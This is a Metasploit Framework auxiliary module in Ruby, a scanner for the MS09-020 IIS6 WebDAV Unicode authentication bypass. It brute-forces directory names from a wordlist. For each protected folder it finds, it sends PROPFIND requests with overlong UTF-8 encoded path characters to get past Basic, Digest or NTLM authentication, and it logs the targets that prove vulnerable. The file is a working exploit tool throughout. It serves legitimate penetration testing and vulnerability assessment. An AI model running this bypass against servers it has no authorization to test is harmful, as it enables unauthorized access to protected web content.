##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'rex/proto/http'
require 'msf/core'


class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::Remote::HttpClient
	include Msf::Auxiliary::WmapScanDir
	include Msf::Auxiliary::Scanner
	include Msf::Auxiliary::Report

	def initialize(info = {})
		super(update_info(info,
			'Name'   		=> 'MS09-020 IIS6 WebDAV Unicode Auth Bypass Directory Scanner',
			'Description'	=> %q{
				This module is based on et's HTTP Directory Scanner module,
				with one exception. Where authentication is required, it attempts
				to bypass authentication using the WebDAV IIS6 Unicode vulnerability
				discovered by Kingcope. The vulnerability appears to be exploitable
				where WebDAV is enabled on the IIS6 server, and any protected folder
				requires either Basic, Digest or NTLM authentication.
			},
			'Author' 		=> [ 'patrick' ],
			'License'		=> MSF_LICENSE,
			'References'     =>
				[
					[ 'MSB', 'MS09-020' ],
					[ 'CVE', '2009-1535' ],
					[ 'CVE', '2009-1122' ],
					[ 'OSVDB', '54555' ],
					[ 'BID', '34993' ],
				],
			'Version'		=> '$Revision$'))

		register_options(
			[
				OptString.new('PATH', [ true,  "The path to identify files", '/']),
				OptInt.new('ERROR_CODE', [ true, "Error code for non existent directory", 404]),
				OptPath.new('DICTIONARY',   [ false, "Path of word dictionary to use",
						File.join(Msf::Config.install_root, "data", "wmap", "wmap_dirs.txt")
					]
				),
				OptPath.new('HTTP404S',   [ false, "Path of 404 signatures to use",
						File.join(Msf::Config.install_root, "data", "wmap", "wmap_404s.txt")
					]
				)
			], self.class)

		register_advanced_options(
			[
				OptBool.new('NoDetailMessages', [ false, "Do not display detailed test messages", true ])
			], self.class)

	end

	def run_host(ip)
		conn = true
		ecode = nil
		emesg = nil

		tpath = datastore['PATH']
		if tpath[-1,1] != '/'
			tpath += '/'
		end

		ecode = datastore['ERROR_CODE'].to_i
		vhost = datastore['VHOST'] || wmap_target_host
		prot  = datastore['SSL'] ? 'https' : 'http'


		#
		# Detect error code
		#
		begin
			randdir = Rex::Text.rand_text_alpha(5).chomp + '/'
			res = send_request_cgi({
				'uri'  		=>  tpath+randdir,
				'method'   	=> 'GET',
				'ctype'		=> 'text/html'
			}, 20)

			return if not res

			tcode = res.code.to_i


			# Look for a string we can signature on as well
			if(tcode >= 200 and tcode <= 299)

				File.open(datastore['HTTP404S'], 'rb').each do |str|
					if(res.body.index(str))
						emesg = str
						break
					end
				end

				if(not emesg)
					print_status("Using first 256 bytes of the response as 404 string")
					emesg = res.body[0,256]
				else
					print_status("Using custom 404 string of '#{emesg}'")
				end
			else
				ecode = tcode
				print_status("Using code '#{ecode}' as not found.")
			end


		rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
			conn = false
		rescue ::Timeout::Error, ::Errno::EPIPE
		end

		return if not conn

		webdav_req = '<?xml version="1.0" encoding="utf-8"?><propfind xmlns="DAV:"><prop><getcontentlength xmlns="DAV:"/>' +
			'<getlastmodified xmlns="DAV:"/><executable xmlns="http://apache.org/dav/props/"/><resourcetype xmlns="DAV:"/>' +
			'<checked-in xmlns="DAV:"/><checked-out xmlns="DAV:"/></prop></propfind>'

		File.open(datastore['DICTIONARY'], 'rb').each do |testf|
			begin
				testfdir = testf.chomp + '/'
				res = send_request_cgi({
					'uri'  		=>  tpath + testfdir,
					'method'   	=> 'PROPFIND',
					'ctype'		=> 'application/xml',
					'headers' 	=>
						{
						},
					'data'		=> webdav_req + "\r\n\r\n",
				}, 20)


				if(not res or ((res.code.to_i == ecode) or (emesg and res.body.index(emesg))))
					if !datastore['NoDetailMessages']
						print_status("NOT Found #{wmap_base_url}#{tpath}#{testfdir} #{res.code} (#{wmap_target_host})")
					end
				elsif (res.code.to_i == 401)
					print_status("Found protected folder #{wmap_base_url}#{tpath}#{testfdir} #{res.code} (#{wmap_target_host})")
					print_status("\tTesting for unicode bypass in IIS6 with WebDAV enabled using PROPFIND request.")

					cset  = %W{ & ^ % $ # @ ! }
					buff  = ''
					blen  = rand(16)+1
					while(buff.length < blen)
						buff << cset[ rand(cset.length) ]
					end
					bogus = Rex::Text.uri_encode(Rex::Text.to_unicode( buff, 'utf-8', 'overlong', 2))

					res = send_request_cgi({
						'uri'  		=>  tpath + bogus + testfdir,
						'method'   	=> 'PROPFIND',
						'ctype'		=> 'application/xml',
						'headers' 	=>
							{
								#'Translate'	 => 'f', # Not required in PROPFIND, only GET - patrickw 20091518
							},
						'data'		=> webdav_req + "\r\n\r\n",
					}, 20)

					if (res.code.to_i == 207)
						print_status("\tFound vulnerable WebDAV Unicode bypass target #{wmap_base_url}#{tpath}%c0%af#{testfdir} #{res.code} (#{wmap_target_host})")

						# Unable to use report_web_vuln as method is PROPFIND and is not part of allowed
						# list in db.rb

						report_note(
							:host	=> ip,
							:proto => 'tcp',
							:sname => (ssl ? 'https' : 'http'),
							:port	=> rport,
							:type	=> 'UNICODE_WEBDAV_BYPASS',
							:data	=> "#{tpath}%c0%af#{testfdir} Code: #{res.code}",
							:update => :unique_data
						)

					end
				end

			rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
			rescue ::Timeout::Error, ::Errno::EPIPE
			end
		end

	end
end